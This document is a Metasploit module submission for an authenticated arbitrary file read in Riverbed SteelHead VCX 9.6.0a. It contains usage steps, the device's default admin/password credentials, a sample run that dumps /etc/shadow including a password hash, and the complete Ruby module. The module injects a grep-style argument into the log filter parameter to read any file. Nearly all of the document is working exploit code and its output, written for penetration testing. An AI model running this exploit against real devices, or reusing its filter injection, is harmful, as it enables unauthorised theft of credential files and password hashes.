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working module
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h00die
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This module exploits an authenticated arbitrary file read in the log module's filter engine.
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## Vulnerable Application
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The application is available for a 90 day evaluation after free registration from
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[riverbed](https://www.riverbed.com/gb/products/steelhead/Free-90-day-Evaluation-SteelHead-CX-Virtual-Edition.html).
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Downloads are available for Hyper-V, ESX(i), and KVM. Installation is straight forward, initial login is `admin`/`password`.
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If need be from cli, to show the IP address of the device: `show interfaces primary`
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This module was successfully tested against:
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- SteelHead VCX (VCX255U) 9.6.0a
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## Verification Steps
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1. Do: ```auxiliary/scanner/http/riverbed_steelhead_vcx_file_read```
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2. Do: ```set RHOSTS [IP]```
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3. Set TARGETURI if necessary.
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3. Set FILE if necessary.
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3. Set USERNAME if necessary.
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3. Set PASSWORD if necessary.
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4. Do: ```run```
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## Scenarios
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### SteelHead VCX255u 9.6.0a running on ESXi
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```
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resource (riverbed.rc)> use auxiliary/scanner/http/riverbed_steelhead_vcx_file_read
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resource (riverbed.rc)> set rhosts 192.168.2.198
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rhosts => 192.168.2.198
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resource (riverbed.rc)> set verbose true
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verbose => true
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resource (riverbed.rc)> run
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[*] CSRF Token: 18PK64EKpo4d6y0X5ZOMYJ3fxfYZKfrN
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[+] Authenticated Successfully
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[+] File Contents:
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admin:$6$sKOU5moa$B2szxiSEzq6ZmHZw01CMf64WlzvqIgCYETeXzF1ItxZ5soOJNVXdE2H5N19t0cPeGDf/LGvRymgQHAxgojr6u1:10000:0:99999:7:::
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administrator:*:10000:0:99999:7:::
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apache:*:10000:0:99999:7:::
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localvixuser:*:10000:0:99999:7:::
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named:*:10000:0:99999:7:::
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nobody:*:10000:0:99999:7:::
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ntp:*:10000:0:99999:7:::
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pcap:*:10000:0:99999:7:::
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postgres:*:10000:0:99999:7:::
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rcud:*:10000:0:99999:7:::
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root:*:10000:0:99999:7:::
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rpc:*:10000:0:99999:7:::
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shark:*:10000:0:99999:7:::
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sshd:*:10000:0:99999:7:::
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statsd:*:10000:0:99999:7:::
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webproxy::10000:0:99999:7:::
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[+] Stored /etc/shadow to /root/.msf4/loot/20170602230238_default_192.168.2.198_host.file_311580.txt
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[*] Scanned 1 of 1 hosts (100% complete)
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[*] Auxiliary module execution completed
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```
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@ -0,0 +1,132 @@
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'json'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'Riverbed SteelHead VCX File Read',
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'Description' => %q{
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This module exploits an authenticated arbitrary file read in the log module's filter engine.
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SteelHead VCX (VCX255U) version 9.6.0a was confirmed as vulnerable.
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},
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'References' =>
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[
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['EDB', '42101']
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],
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'Author' =>
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[
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'Gregory DRAPERI <gregory.draper_at_gmail.com>', # Exploit
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'h00die' # Module
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],
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'DisclosureDate' => 'Jun 01 2017',
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'License' => MSF_LICENSE
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)
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register_options(
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[
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Opt::RPORT(80),
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OptString.new('FILE', [ true, 'Remote file to view', '/etc/shadow']),
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OptString.new('TARGETURI', [true, 'Vulnerable URI path', '/']),
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OptString.new('USERNAME', [true, 'Username', 'admin']),
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OptString.new('PASSWORD', [true, 'Password', 'password']),
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])
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end
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def run_host(ip)
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# pull our csrf
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res = send_request_cgi({
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'uri' => normalize_uri(datastore['TARGETURI'], 'login'),
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'method' => 'GET',
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'vars_get' => {
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'next' => '/'
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}
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}, 25)
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unless res
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print_error("#{full_uri} - Connection timed out")
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return
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end
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cookie = res.get_cookies
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csrf = cookie.scan(/csrftoken=(\w+);/).flatten[0]
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vprint_status("CSRF Token: #{csrf}")
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# authenticate
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res = send_request_cgi({
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'uri' => normalize_uri(datastore['TARGETURI'], 'login'),
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'method' => 'POST',
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'cookie' => cookie,
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'ctype' => 'application/x-www-form-urlencoded;',
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'vars_post' => {
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'csrfmiddlewaretoken' => csrf,
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'_fields' => JSON.generate({
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'username' => datastore['USERNAME'],
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'password' => datastore['PASSWORD'],
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'legalAccepted' => 'N/A',
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'userAgent' => ''
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})
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}
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}, 25)
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unless res
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print_error("#{full_uri} - Connection timed out")
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return
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end
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if res.code == 400
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print_error('Failed Authentication')
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return
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elsif res.code == 200
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vprint_good('Authenticated Successfully')
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end
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# pull the file
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res = send_request_cgi({
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'uri' => normalize_uri(datastore['TARGETURI'], 'modules/common/logs'),
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'method' => 'GET',
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'cookie' => res.get_cookies,
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'vars_get' => {
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'filterStr' => "msg:-e .* #{datastore['FILE']}"
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}
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}, 25)
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unless res
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print_error("#{full_uri} - Connection timed out")
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return
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end
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if res && res.body
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result = JSON.parse(res.body)
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unless result.has_key?('web3.model')
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print_error('Invalid JSON returned')
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return
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end
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reconstructed_file = []
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# so the format is super icky here. It makes a hash table for each row in the file. then the 'msg' field starts with
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# the file name. It also, by default, includes other files, so we need to check we're on the right file.
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result['web3.model']['messages']['rows'].each do |row|
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if row['msg'].start_with?(datastore['FILE'])
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reconstructed_file << row['msg'].gsub("#{datastore['FILE']}:",'').strip()
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end
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end
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if reconstructed_file.any?
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reconstructed_file = reconstructed_file.join("\n")
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vprint_good("File Contents:\n#{reconstructed_file}")
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stored_path = store_loot('host.file', 'text/plain', rhost, reconstructed_file, datastore['FILE'])
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print_good("Stored #{datastore['FILE']} to #{stored_path}")
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else
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print_error("File not found or empty file: #{datastore['FILE']}")
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end
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end
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end
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end
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